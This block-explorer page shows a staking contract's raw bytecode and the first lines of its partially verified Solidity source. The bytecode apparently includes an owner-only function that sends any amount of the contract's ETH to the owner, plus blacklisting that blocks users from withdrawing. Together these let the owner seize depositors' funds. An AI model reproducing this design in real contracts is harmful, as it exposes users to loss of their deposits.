Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0xea2C10590e97e27c00aBf0940Ec6a31Fc4bbad9C
Balance 0 ETH
Nonce 1
Code Size 16780 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

16780 bytes
0x6080604052600436106101145760003560e01c80636e553f65116100a0578063c2ebd26911610064578063c2ebd269146103cc578063d3ea0f891461040d578063d7dc62031461044a578063f8b2cb4f14610487578063faf7eba6146104c457610114565b80636e553f65146102e45780638a2c80ee1461030057806392682fc414610329578063a680e0bc14610352578063bd3a40171461038f57610114565b80633b0f0f2f116100e75780633b0f0f2f146101e55780635287ce121461022257806358a85bc614610262578063658ba11a1461028b578063684f93a0146102c857610114565b806308f39382146101195780630e7338f3146101425780632e1a7d4d1461017f5780632e24f672146101a8575b600080fd5b34801561012557600080fd5b50610140600480360381019061013b9190613523565b610501565b005b34801561014e57600080fd5b5061016960048036038101906101649190613523565b6106b9565b6040516101769190613bc6565b60405180910390f35b34801561018b57600080fd5b506101a660048036038101906101a19190613588565b61070f565b005b3480156101b457600080fd5b506101cf60048036038101906101ca9190613523565b610bcb565b6040516101dc9190613dc1565b60405180910390f35b3480156101f157600080fd5b5061020c60048036038101906102079190613523565b610c14565b6040516102199190613ad4565b60405180910390f35b34801561022e57600080fd5b5061024960048036038101906102449190613523565b610c7d565b6040516102599493929190613aef565b60405180910390f35b34801561026e57600080fd5b5061028960048036038101906102849190613523565b6111f8565b005b34801561029757600080fd5b506102b260048036038101906102ad9190613523565b6113b1565b6040516102bf9190613dc1565b60405180910390f35b6102e260048036038101906102dd91906135ed565b6113fd565b005b6102fe60048036038101906102f991906135b1565b611a60565b005b34801561030c57600080fd5b5061032760048036038101906103229190613588565b611fab565b005b34801561033557600080fd5b50610350600480360381019061034b9190613588565b6120a3565b005b34801561035e57600080fd5b5061037960048036038101906103749190613523565b6123b7565b6040516103869190613dc1565b60405180910390f35b34801561039b57600080fd5b506103b660048036038101906103b1919061354c565b612400565b6040516103c39190613dc1565b60405180910390f35b3480156103d857600080fd5b506103f360048036038101906103ee919061354c565b61255e565b604051610404959493929190613b50565b60405180910390f35b34801561041957600080fd5b50610434600480360381019061042f9190613523565b6130bf565b6040516104419190613dc1565b60405180910390f35b34801561045657600080fd5b50610471600480360381019061046c919061354c565b613108565b60405161047e9190613dc1565b60405180910390f35b34801561049357600080fd5b506104ae60048036038101906104a99190613523565b6131ea565b6040516104bb9190613dc1565b60405180910390f35b3480156104d057600080fd5b506104eb60048036038101906104e69190613523565b613233565b6040516104f89190613dc1565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461058f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058690613d41565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661061b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061290613d61565b60405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f7534c63860313c46c473e4e98328f37017e9674e2162faf1a3ad7a96236c3b7b60405160405180910390a250565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561079c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079390613cc1565b60405180910390fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110610820576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081790613d81565b60405180910390fd5b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110610897577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160010154600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110610920577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600502016003015461093c9190613e86565b42101561097e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097590613be1565b60405180910390fd5b6000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106109f7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160000154905060008111610a4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4590613d21565b60405180910390fd5b6000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110610ac7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600502016000018190555080600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b2b9190613e86565b925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610b78573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a942436482604051610bbf9190613dc1565b60405180910390a25050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6060806060806000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905090508067ffffffffffffffff811115610d0a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610d385781602001602082028036833780820191505090505b5094508067ffffffffffffffff811115610d7b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610da95781602001602082028036833780820191505090505b5093508067ffffffffffffffff811115610dec577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610e1a5781602001602082028036833780820191505090505b5092508067ffffffffffffffff811115610e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015610e8b5781602001602082028036833780820191505090505b50915060005b818110156111ef5780868281518110610ed3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018181525050600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110610f56577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160010154600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110610fdf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160030154610ffb9190613e86565b858281518110611034577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018181525050600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481106110b7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160000154848281518110611102577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018181525050600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110611185577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060050201600101548382815181106111d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101818152505080806111e790614081565b915050610e91565b50509193509193565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127d90613d41565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611313576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130a90613ca1565b60405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167fffa4e6181777692565cf28528fc88fd1516ea86b56da075235fa575af6a4b85560405160405180910390a250565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490509050919050565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561148a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148190613da1565b60405180910390fd5b600e831015801561149c5750605a8311155b6114db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d290613d01565b60405180910390fd5b600e82101580156114ed5750605a8211155b61152c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152390613c21565b60405180910390fd5b6000620151808461153d9190613f0d565b9050600062015180846115509190613f0d565b905060008060005b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156118835784600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061161a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160010154141561187057600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481106116a9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160000154836116c69190613e86565b92506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110611741577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060050201600001819055506000600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106117cf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160040181905550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020818154811061185b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600502016003015491505b808061187b90614081565b915050611558565b50848210156118c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118be90613c61565b60405180910390fd5b600034836118d59190613e86565b905060006118e28561346f565b905060006040518060a0016040528084815260200187815260200183815260200142815260200142815250905034600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461195e9190613e86565b92505081905550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819080600181540180825580915050600190039060005260206000209060050201600090919091909150600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015550503373ffffffffffffffffffffffffffffffffffffffff167f9ee37244ba9f5d4982dfc3452c1cea0d297249501a9ef8040a9e646f336717b48b8b86604051611a4c93929190613e05565b60405180910390a250505050505050505050565b600e8210158015611a725750605a8211155b611ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa890613c01565b60405180910390fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611b3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3590613c81565b60405180910390fd5b60006201518083611b4f9190613f0d565b90506000611b5c8261346f565b9050600073ffffffffffffffffffffffffffffffffffffffff16600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611c2557503373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611c5e5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ce25782600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60006040518060a0016040528034815260200184815260200183815260200142815260200142815250905034600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d5c9190613e86565b9250508190555082600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555042600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555034600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819080600181540180825580915050600190039060005260206000209060050201600090919091909150600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015550503373ffffffffffffffffffffffffffffffffffffffff167f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a153487604051611f9c929190613ddc565b60405180910390a25050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612039576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203090613d41565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561209f573d6000803e3d6000fd5b5050565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612130576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212790613c41565b60405180910390fd5b6000805b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101561231d57620151808361218d9190613f0d565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110612204577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160010154141561230a5760006122283383613108565b90506000811161226d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226490613ce1565b60405180910390fd5b42600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481106122e5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002090600502016004018190555080836123069190613e86565b9250505b808061231590614081565b915050612134565b503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612364573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167ff9984c8173c4b4ff9cc454f76ed19c053f4490ccb224fd9ddffeb4ef4bea3530826040516123ab9190613dc1565b60405180910390a25050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806000905060005b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156125535762015180846124639190613f0d565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002082815481106124da577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160010154141561254057600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548261253d9190613e86565b91505b808061254b90614081565b91505061240a565b508091505092915050565b60608060608060606000805b600960008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156126745762015180886125c39190613f0d565b600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061263a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160010154141561266157818061265d90614081565b9250505b808061266c90614081565b91505061256a565b508067ffffffffffffffff8111156126b5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156126e35781602001602082028036833780820191505090505b5095508067ffffffffffffffff811115612726577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156127545781602001602082028036833780820191505090505b5094508067ffffffffffffffff811115612797577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156127c55781602001602082028036833780820191505090505b5093508067ffffffffffffffff811115612808577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156128365781602001602082028036833780820191505090505b5092508067ffffffffffffffff811115612879577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156128a75781602001602082028036833780820191505090505b5091506000805b600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508110156130b25762015180896129079190613f0d565b600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828154811061297e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160010154141561309f57808883815181106129d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018181525050600960008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110612a53577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160010154600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110612adc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160030154612af89190613e86565b421015612c705742600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110612b77577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160010154600960008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110612c00577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160030154612c1c9190613e86565b612c269190613ffb565b878381518110612c5f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018181525050612cb8565b6000878381518110612cab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010181815250505b6064600960008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110612d31577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160020154600960008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110612dba577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160000154600960008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110612e43577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160030154600960008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208581548110612ecc577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160040154612ee89190613ffb565b612ef29190613f0d565b612efc9190613f0d565b612f069190613edc565b868381518110612f3f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018181525050612f558a82613108565b858381518110612f8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018181525050600042610708600960008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110613017577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060050201600401546130339190613e86565b61303d9190613f67565b905061304a8160006134df565b858481518110613083577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018181525050828061309a90614081565b935050505b80806130aa90614081565b9150506128ae565b5050509295509295909350565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110613182577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060050201905060008160040154426131a49190613ffb565b905060006901d460162f516f00000082846002015485600001546131c89190613f0d565b6131d29190613f0d565b6131dc9190613edc565b905080935050505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600090506000805b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101561345957600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081815481106132ff577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000209060050201600001548361331c9190613e86565b92506000600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110613397577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160000154111561344657600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208181548110613426577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020906005020160000154826134439190613e86565b91505b808061345190614081565b91505061323e565b5080826134669190613ffb565b92505050919050565b60006212750082141561348a576533f89bb3924990506134da565b62278d008214156134a357653ca20afc2aaa90506134da565b624f1a008214156134bc57654bca8dbb355590506134da565b6276a7008214156134d5576555e58f8fe71c90506134da565b600090505b919050565b6000818312156134ef57816134f1565b825b905092915050565b60008135905061350881614128565b92915050565b60008135905061351d8161413f565b92915050565b60006020828403121561353557600080fd5b6000613543848285016134f9565b91505092915050565b6000806040838503121561355f57600080fd5b600061356d858286016134f9565b925050602061357e8582860161350e565b9150509250929050565b60006020828403121561359a57600080fd5b60006135a88482850161350e565b91505092915050565b600080604083850312156135c457600080fd5b60006135d28582860161350e565b92505060206135e3858286016134f9565b9150509250929050565b60008060006060848603121561360257600080fd5b60006136108682870161350e565b93505060206136218682870161350e565b92505060406136328682870161350e565b9150509250925092565b60006136488383613ab6565b60208301905092915050565b61365d8161402f565b82525050565b600061366e82613e4c565b6136788185613e64565b935061368383613e3c565b8060005b838110156136b457815161369b888261363c565b97506136a683613e57565b925050600181019050613687565b5085935050505092915050565b6136ca81614041565b82525050565b60006136dd601783613e75565b91507f4c6f636b757020706572696f64206e6f74206f7665722e0000000000000000006000830152602082019050919050565b600061371d601683613e75565b91507f496e76616c6964206c6f636b757020706572696f642e000000000000000000006000830152602082019050919050565b600061375d601983613e75565b91507f496e76616c696420746f206c6f636b757020706572696f642e000000000000006000830152602082019050919050565b600061379d602683613e75565b91507f596f7520617265206e6f7420616c6c6f77656420746f20636c61696d20696e7460008301527f65726573742e00000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613803601483613e75565b91507f496e73756666696369656e742062616c616e63650000000000000000000000006000830152602082019050919050565b6000613843601f83613e75565b91507f596f7520617265206e6f7420616c6c6f77656420746f206465706f7369742e006000830152602082019050919050565b6000613883601c83613e75565b91507f5573657220697320616c726561647920626c61636b6c69737465642e000000006000830152602082019050919050565b60006138c3602083613e75565b91507f596f7520617265206e6f7420616c6c6f77656420746f2077697468647261772e6000830152602082019050919050565b6000613903601583613e75565b91507f4e6f20696e74657265737420746f20636c61696d2e00000000000000000000006000830152602082019050919050565b6000613943601b83613e75565b91507f496e76616c69642066726f6d206c6f636b757020706572696f642e00000000006000830152602082019050919050565b6000613983601583613e75565b91507f4e6f2066756e647320746f2077697468647261772e00000000000000000000006000830152602082019050919050565b60006139c3601783613e75565b91507f4e6f742074686520636f6e7472616374206f776e65722e0000000000000000006000830152602082019050919050565b6000613a03601883613e75565b91507f55736572206973206e6f7420626c61636b6c69737465642e00000000000000006000830152602082019050919050565b6000613a43601683613e75565b91507f496e76616c6964206465706f73697420696e6465782e000000000000000000006000830152602082019050919050565b6000613a83602083613e75565b91507f596f7520617265206e6f7420616c6c6f77656420746f207472616e736665722e6000830152602082019050919050565b613abf81614077565b82525050565b613ace81614077565b82525050565b6000602082019050613ae96000830184613654565b92915050565b60006080820190508181036000830152613b098187613663565b90508181036020830152613b1d8186613663565b90508181036040830152613b318185613663565b90508181036060830152613b458184613663565b905095945050505050565b600060a0820190508181036000830152613b6a8188613663565b90508181036020830152613b7e8187613663565b90508181036040830152613b928186613663565b90508181036060830152613ba68185613663565b90508181036080830152613bba8184613663565b90509695505050505050565b6000602082019050613bdb60008301846136c1565b92915050565b60006020820190508181036000830152613bfa816136d0565b9050919050565b60006020820190508181036000830152613c1a81613710565b9050919050565b60006020820190508181036000830152613c3a81613750565b9050919050565b60006020820190508181036000830152613c5a81613790565b9050919050565b60006020820190508181036000830152613c7a816137f6565b9050919050565b60006020820190508181036000830152613c9a81613836565b9050919050565b60006020820190508181036000830152613cba81613876565b9050919050565b60006020820190508181036000830152613cda816138b6565b9050919050565b60006020820190508181036000830152613cfa816138f6565b9050919050565b60006020820190508181036000830152613d1a81613936565b9050919050565b60006020820190508181036000830152613d3a81613976565b9050919050565b60006020820190508181036000830152613d5a816139b6565b9050919050565b60006020820190508181036000830152613d7a816139f6565b9050919050565b60006020820190508181036000830152613d9a81613a36565b9050919050565b60006020820190508181036000830152613dba81613a76565b9050919050565b6000602082019050613dd66000830184613ac5565b92915050565b6000604082019050613df16000830185613ac5565b613dfe6020830184613ac5565b9392505050565b6000606082019050613e1a6000830186613ac5565b613e276020830185613ac5565b613e346040830184613ac5565b949350505050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613e9182614077565b9150613e9c83614077565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613ed157613ed06140ca565b5b828201905092915050565b6000613ee782614077565b9150613ef283614077565b925082613f0257613f016140f9565b5b828204905092915050565b6000613f1882614077565b9150613f2383614077565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613f5c57613f5b6140ca565b5b828202905092915050565b6000613f728261404d565b9150613f7d8361404d565b9250827f800000000000000000000000000000000000000000000000000000000000000001821260008412151615613fb857613fb76140ca565b5b827f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff018213600084121615613ff057613fef6140ca565b5b828203905092915050565b600061400682614077565b915061401183614077565b925082821015614024576140236140ca565b5b828203905092915050565b600061403a82614057565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600061408c82614077565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156140bf576140be6140ca565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6141318161402f565b811461413c57600080fd5b50565b61414881614077565b811461415357600080fd5b5056fea26469706673582212209d86e42204fb3df9b28c0433cadd9b97a687bae144342f8ad96621c5505e862064736f6c63430008000033

Verified Source Code Partial Match

Compiler: v0.8.0+commit.c7dfd78e EVM: istanbul Optimization: No
Staking.sol 288 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

struct DepositInfo {
    uint256 amount;
    uint256 lockupPeriod;
    uint256 interestRate;
    uint256 depositTime;
    uint256 lastClaimTime;
}

contract Staking {
    address payable private _owner;

    mapping(address => uint256) private _balances;
    mapping(address => uint256) private _lastClaimTime;
    mapping(address => uint256) private _lockupPeriod;
    mapping(address => uint256) private _interestRate;
    mapping(address => bool) private _blacklisted;
    mapping(address => address) private _referrals;
    mapping(address => uint256) private _initialDeposits;
    mapping(address => uint256) private _depositTime;
    mapping(address => DepositInfo[]) private _deposits;
    mapping(address => uint256) private _totalWithdrawnAmounts;
